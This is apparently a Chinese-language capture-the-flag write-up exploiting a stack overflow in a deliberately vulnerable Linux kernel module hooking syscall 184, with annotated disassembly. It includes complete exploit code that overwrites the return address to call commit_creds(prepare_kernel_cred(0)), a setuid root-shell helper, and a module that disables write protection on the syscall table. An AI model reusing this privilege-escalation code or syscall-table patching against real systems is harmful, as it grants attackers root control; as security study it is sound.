1.加載模塊linux
sudo insmod module
dmesg看到有hook字樣,猜想多是模塊劫持了系統調用,或者也多是增長了系統調用shell
而後本身寫了個程序來遍歷系統調用,確認了沒有增長系統調用
而後本身又寫了個模塊來遍歷sys_call_table和sys_ia32_call_table數組,確認是改動了系統調用.並且系統調用號是184數組
同時/proc/kallsyms中的符號表和sys_call_table[184],看到了new_kbof_test函數,也就是說,syscall(184),會執行到new_kbof_test函數函數
因而就分析new_kbof_test函數的功能和參數.
2.反彙編rootme.ko,分析函數功能和參數
(附件有詳細的反彙編報告)ui
objdump -d rootme.ko > 1.txt 反編譯代碼段
readelf -r rootme.ko > 2.txt 讀重定位段的信息
根據重定位段的信息2.txt和反彙編代碼的結果1.txt,分析出了這兩個函數的功能.
new_kbof_test函數,接收兩個參數,第一個是字符串地址,第二個是一個整數類型.
從用戶空間拷貝字符串到內核空間,而後調用了buffer_overflow_test函數.
在buffer_overflow_test函數中,又複製相同的字符串到buffer_overflow_test的棧中,不過這個時候沒有檢測複製的長度,致使能夠覆蓋rip,函數返回時就會跳到咱們覆蓋的rip,利用開始.
3.編寫exploit
計算rip的偏移地址:0x100+8*3 0x100是buffer_overflow_test函數的棧大小,8*3是由於push了三個8字節的寄存器.
將rip覆蓋成exploit中用戶態中kernel_code函數的地址.code
gcc test.c -o test gcc exp.c -o exp ./exp
來張提權成功的截圖:ip
exp.c:內存
#include <unistd.h> #include <errno.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> typedef int __attribute__((regparm(1))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(1))) (* _prepare_kernel_cred)(unsigned long cred); typedef long __attribute__((regparm(2))) (* _sys_chmod) (const char *filename, mode_t mode); typedef long __attribute__((regparm(3))) (*_sys_chown) (const char *filename, uid_t user, gid_t group); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; _sys_chmod sys_chmod; _sys_chown sys_chown; char *filename="/home/kexp/test"; char exp[0x120]={'A'}; int __attribute__((regparm(3))) kernel_code() { commit_creds(prepare_kernel_cred(0)); sys_chown(filename,0,0); sys_chmod(filename,7777); return -1; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } void main() { unsigned long *asd=&exp[0x118]; *asd=(unsigned long)kernel_code; commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sys_chmod=(_sys_chmod) get_symbol("sys_chmod"); sys_chown=(_sys_chown) get_symbol("sys_chown"); if(sys_chmod==0||commit_creds==0||prepare_kernel_cred==0) { printf("beiju\n"); } syscall(184,exp,0x120); }
test.c字符串
#include <sys/types.h> #include <unistd.h> #include<stdio.h> void main() { setuid(0); system("/bin/sh"); }
Myopen.c:(編譯Myopen.c的Makefile在下面)
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <asm/unistd.h> #include <linux/syscalls.h> #include <linux/highuid.h> #define GPF_DISABLE write_cr0(read_cr0() & (~ 0x10000)) #define GPF_ENABLE write_cr0(read_cr0() | 0x10000) MODULE_LICENSE("GPL"); MODULE_AUTHOR("Franz Pletz"); MODULE_DESCRIPTION("for teh lulz!"); char *rollfile; void **sys_call_table = (void **)0xffffffff8130e070; /* TODO: change */ module_param(rollfile, charp, 0000); MODULE_PARM_DESC(rollfile, "music trolling file"); module_param(sys_call_table, ulong, 0000); MODULE_PARM_DESC(sys_call_table, "address of the system call table"); void set_addr_rw(unsigned long addr) { unsigned int level; pte_t *pte = lookup_address(addr, &level); if(pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW; } void set_addr_ro(unsigned long addr) { unsigned int level; pte_t *pte = lookup_address(addr, &level); pte->pte = pte->pte &~_PAGE_RW; } static int __init init_rickroll(void) { int i; if(sys_call_table == NULL) { printk(KERN_ERR "Cannot find the system call address\n"); return -1; /* do not load */ } else { printk(KERN_INFO "System call table found @ %lx\n", (unsigned long)sys_call_table); } set_addr_rw((unsigned long)sys_call_table); GPF_DISABLE; for(i=0;i<=298;i++) { printk(KERN_INFO "%d:%x\n",i,sys_call_table[i]); } return 0; } static void __exit exit_rickroll(void) { set_addr_ro((unsigned long)sys_call_table); GPF_ENABLE; } module_init(init_rickroll); module_exit(exit_rickroll);
編譯Myopen.c的Makefile:
obj-m+=myopen.o all: make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd)
反彙編的結果(用ida看很簡單就能看出來,不過當時不清楚ida):
0000000000000071 <buffer_overflow_test>: 71: 41 54 push %r12 73: ba 00 01 00 00 mov $0x100,%edx 78: 41 89 f4 mov %esi,%r12d //%r12 buffer_overflow_test的第二個參數 7b: 31 f6 xor %esi,%esi 7d: 55 push %rbp 7e: 53 push %rbx 7f: 48 89 fb mov %rdi,%rbx //rbx buffer_overflow_test的第一個參數 82: 48 81 ec 00 01 00 00 sub $0x100,%rsp 89: 48 89 e7 mov %rsp,%rdi 8c: e8 00 00 00 00 callq 91 <buffer_overflow_test+0x20> memset(rdi=棧頂,rsi=0,rdx=0x100) 初始化棧 91: 49 63 cc movslq %r12d,%rcx //%r12 移動的字符個數 buffer_overflow_test的第二個參數,沒有檢查長度,有漏洞 94: 48 89 e7 mov %rsp,%rdi //棧頂 97: 48 89 de mov %rbx,%rsi //%rbx buffer_overflow_test的第一個參數,內存地址,可控內容, 9a: fc cld //增址 9b: f3 a4 rep movsb %ds:(%rsi),%es:(%rdi) 可控的內容=>棧中,這裏能夠覆蓋掉rip 9d: 48 81 c4 00 01 00 00 add $0x100,%rsp a4: 5b pop %rbx a5: 5d pop %rbp a6: 41 5c pop %r12 a8: c3 retq 00000000000000a9 <new_kbof_test>: a9: 41 54 push %r12 ab: ba 00 01 00 00 mov $0x100,%edx b0: 49 89 fc mov %rdi,%r12 b3: 55 push %rbp b4: 89 f5 mov %esi,%ebp b6: 31 f6 xor %esi,%esi b8: 53 push %rbx b9: 48 81 ec 00 01 00 00 sub $0x100,%rsp c0: 48 89 e7 mov %rsp,%rdi c3: e8 00 00 00 00 callq c8 <new_kbof_test+0x1f> memset(rdi=rsp,esi=0,edx=0x100) 恰好棧是0x100,初始化棧爲0. c8: 48 63 fd movslq %ebp,%rdi //??? cb: be d0 00 00 00 mov $0xd0,%esi d0: e8 00 00 00 00 callq d5 <new_kbof_test+0x2c> memset(rdi=(傳入的第二個參數 長度),esi=0xd0) 分配內存0xd0 d5: 48 85 c0 test %rax,%rax d8: 48 89 c3 mov %rax,%rbx //kmalloc的返回值,若是成功rdi,不成功返回NULL.. db: 74 14 je f1 <new_kbof_test+0x48> dd: 89 ea mov %ebp,%edx df: 4c 89 e6 mov %r12,%rsi e2: 48 89 c7 mov %rax,%rdi e5: e8 00 00 00 00 callq ea <new_kbof_test+0x41> copy_from_user (rdi=kmalloc返回值,rsi=傳入的第一個參數,edx=傳入的第二個參數) // ea: 48 85 c0 test %rax,%rax //copy_from_user 成功返回0,不然就打印失敗信息 //?????????確認copy_from_user的工做方式 copy_from_user(to,from.length) ed: 74 1f je 10e <new_kbof_test+0x65> ef: eb 09 jmp fa <new_kbof_test+0x51> f1: 48 c7 c7 00 00 00 00 mov $0x0,%rdi //.rodata.str1.1 + 2d kmalloc failed f8: eb 07 jmp 101 <new_kbof_test+0x58> fa: 48 c7 c7 00 00 00 00 mov $0x0,%rdi //.rodata.str1.1 + 3e copy data from user fail 101: 31 c0 xor %eax,%eax 103: e8 00 00 00 00 callq 108 <new_kbof_test+0x5f> printk 108: 48 83 c8 ff or $0xffffffffffffffff,%rax 10c: eb 0c jmp 11a <new_kbof_test+0x71> 10e: 89 ee mov %ebp,%esi // 110: 48 89 df mov %rbx,%rdi 113: e8 00 00 00 00 callq 118 <new_kbof_test+0x6f> buffer_over_flow(rdi=kmalloc返回值,rsi=傳入的第二個參數) 118: 31 c0 xor %eax,%eax 11a: 48 81 c4 00 01 00 00 add $0x100,%rsp 121: 5b pop %rbx 122: 5d pop %rbp 123: 41 5c pop %r12 125: c3 retq